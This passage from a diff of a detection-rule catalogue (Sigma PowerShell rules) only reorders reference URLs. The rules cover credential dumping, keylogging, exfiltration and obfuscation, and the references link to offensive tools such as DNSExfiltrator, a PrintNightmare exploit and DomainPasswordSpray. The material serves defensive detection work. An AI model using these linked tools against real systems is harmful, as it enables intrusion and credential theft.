"https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clearing_windows_console_history.yml", + "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics" ], "tags": [ "attack.defense_evasion", @@ -28949,8 +28947,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_clear_powershell_history.yml", + "https://gist.github.com/hook-s3c/7363a856c3cdbadeb71085147f042c1a" ], "tags": [ "attack.defense_evasion", @@ -28998,9 +28996,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml", "https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/", - "https://twitter.com/bohops/status/948061991012327424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_invocation_lolscript_count.yml" + "https://twitter.com/bohops/status/948061991012327424" ], "tags": [ "attack.defense_evasion", @@ -29023,9 +29021,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml", "https://twitter.com/pabraeken/status/995111125447577600", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript.yml" + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" ], "tags": [ "attack.defense_evasion", @@ -29048,9 +29046,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml", "https://twitter.com/pabraeken/status/995111125447577600", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cl_mutexverifiers_lolscript_count.yml" + "https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/" ], "tags": [ "attack.defense_evasion", @@ -29073,9 +29071,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-6---wmi-invoke-cimmethod-scheduled-task", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cmdlet_scheduled_task.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.005/T1053.005.md#atomic-test-4---powershell-cmdlet-scheduled-task" ], "tags": [ "attack.persistence", @@ -29098,8 +29096,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_copy_item_system_directory.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1556.002/T1556.002.md#atomic-test-1---install-and-register-password-filter-dll" ], "tags": [ "attack.credential_access", @@ -29122,8 +29120,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler" ], "tags": [ "attack.persistence", @@ -29172,9 +29170,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml", "https://attack.mitre.org/datasources/DS0005/", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_create_volume_shadow_copy.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/get-wmiobject?view=powershell-5.1&viewFallbackFrom=powershell-7" ], "tags": [ "attack.credential_access", @@ -29221,9 +29219,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1497.001/T1497.001.md", - "https://techgenix.com/malicious-powershell-scripts-evade-detection/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_detect_vm_env.yml" + "https://techgenix.com/malicious-powershell-scripts-evade-detection/" ], "tags": [ "attack.defense_evasion", @@ -29270,8 +29268,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", "https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.accountmanagement?view=dotnet-plat-ext-6.0", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.002/T1136.002.md#atomic-test-3---create-a-new-domain-account-using-powershell", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_directoryservices_accountmanagement.yml" ], "tags": [ @@ -29320,8 +29318,8 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/5b67c9b141fa3918017f8fa44f2f88f0b1ecb9e1/atomics/T1562.001/T1562.001.md", - "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_disable_windowsoptionalfeature.yml", + "https://docs.microsoft.com/en-us/powershell/module/dism/disable-windowsoptionalfeature?view=windowsserver2022-ps" ], "tags": [ "attack.defense_evasion", @@ -29369,8 +29367,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_dump_password_windows_credential_manager.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1555/T1555.md" ], "tags": [ "attack.credential_access", @@ -29538,9 +29536,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.011/T1574.011.md#atomic-test-1---service-registry-permissions-weakness", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_acl_service.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.security/get-acl?view=powershell-7.2" ], "tags": [ "attack.persistence", @@ -29563,9 +29561,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.powershellgallery.com/packages/DSInternals", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.006/T1003.006.md#atomic-test-2---run-dsinternals-get-adreplaccount", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_adreplaccount.yml", + "https://www.powershellgallery.com/packages/DSInternals" ], "tags": [ "attack.credential_access", @@ -29612,8 +29610,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_hotfix_enum.yml", + "https://github.com/411Hall/JAWS/blob/233f142fcb1488172aa74228a666f6b3c5c48f1d/jaws-enum.ps1" ], "tags": [ "attack.discovery" @@ -29635,8 +29633,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_icmp_exfiltration.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048.003/T1048.003.md#atomic-test-2---exfiltration-over-alternative-protocol---icmp" ], "tags": [ "attack.exfiltration", @@ -29683,9 +29681,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/invoke-command?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_command_remote.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.006/T1021.006.md#atomic-test-2---invoke-command" ], "tags": [ "attack.lateral_movement", @@ -29708,9 +29706,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml", "https://github.com/Arno0x/DNSExfiltrator", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh" ], "tags": [ "attack.exfiltration", @@ -29733,8 +29731,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/calebstewart/CVE-2021-1675", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_nightmare.yml", + "https://github.com/calebstewart/CVE-2021-1675" ], "tags": [ "attack.privilege_escalation", @@ -29757,8 +29755,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29783,8 +29781,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_obfuscated_iex.yml", + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888" ], "tags": [ "attack.defense_evasion", @@ -29809,8 +29807,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29835,8 +29833,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29861,8 +29859,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_compress.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29887,8 +29885,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_rundll.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29913,8 +29911,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29939,8 +29937,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_clip.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29965,8 +29963,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -29991,8 +29989,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_rundll32.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -30017,8 +30015,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/Neo23x0/sigma/issues/1009", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_var.yml", + "https://github.com/Neo23x0/sigma/issues/1009" ], "tags": [ "attack.defense_evasion", @@ -30043,9 +30041,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_keylogging.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1056.001/src/Get-Keystrokes.ps1" ], "tags": [ "attack.collection", @@ -30093,11 +30091,11 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://youtu.be/5mqid-7zp8k?t=2481", - "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", "https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1", - "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_mailboxexport_share.yml", + "https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html", + "https://youtu.be/5mqid-7zp8k?t=2481", + "https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/" ], "tags": [ "attack.exfiltration" @@ -30119,13 +30117,13 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://adsecurity.org/?p=2921", "https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries", + "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", "https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1", "https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1", - "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1", - "https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml" + "https://adsecurity.org/?p=2921", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_malicious_commandlets.yml", + "https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1" ], "tags": [ "attack.execution", @@ -30221,9 +30219,9 @@ "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-7---powershell-msxml-com-object---with-prompt", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml", "https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ms766431(v=vs.85)", - "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_msxml_com.yml" + "https://www.trendmicro.com/en_id/research/22/e/uncovering-a-kingminer-botnet-attack-using-trend-micro-managed-x.html" ], "tags": [ "attack.execution", @@ -30270,9 +30268,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "http://www.powertheshell.com/ntfsstreams/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.004/T1564.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_ntfs_ads_access.yml" + "http://www.powertheshell.com/ntfsstreams/" ], "tags": [ "attack.defense_evasion", @@ -30297,8 +30295,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md" ], "tags": [ "attack.persistence", @@ -30321,8 +30319,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_potential_invoke_mimikatz.yml", + "https://www.elastic.co/guide/en/security/current/potential-invoke-mimikatz-powershell-script.html#potential-invoke-mimikatz-powershell-script" ], "tags": [ "attack.credential_access", @@ -30346,10 +30344,10 @@ "logsource.product": "windows", "refs": [ "https://powersploit.readthedocs.io/en/stable/Recon/README", - "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", - "https://thedfirreport.com/2020/10/08/ryuks-return", "https://adsecurity.org/?p=2277", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml" + "https://github.com/PowerShellMafia/PowerSploit/tree/master/Recon", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_powerview_malicious_commandlets.yml", + "https://thedfirreport.com/2020/10/08/ryuks-return" ], "tags": [ "attack.execution", @@ -30372,8 +30370,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://t.co/ezOTGy1a1G", + "https://twitter.com/JohnLaTwC/status/850381440629981184", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_prompt_credentials.yml" ], "tags": [ @@ -30446,9 +30444,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml", "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.2", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remote_session_creation.yml" + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle" ], "tags": [ "attack.execution", @@ -30471,9 +30469,9 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_remove_item_path.yml" + "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/Remove-Item?view=powershell-5.1&viewFallbackFrom=powershell-7" ], "tags": [ "attack.defense_evasion", @@ -30496,8 +30494,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_request_kerberos_ticket.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1558.003/T1558.003.md#atomic-test-4---request-a-single-ticket-via-powershell" ], "tags": [ "attack.credential_access", @@ -30544,8 +30542,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://docs.microsoft.com/en-us/powershell/module/storage/mount-diskimage?view=windowsserver2022-ps", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.005/T1553.005.md#atomic-test-2---mount-an-iso-image-and-run-executable-from-the-iso", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_run_from_mount_diskimage.yml" ], "tags": [ @@ -30569,8 +30567,8 @@ "logsource.category": "ps_script", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml" + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_security_software_discovery.yml", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md" ], "tags": [ "attack.discovery", @@ -30593,10 +30591,10 @@ "logsource.category": 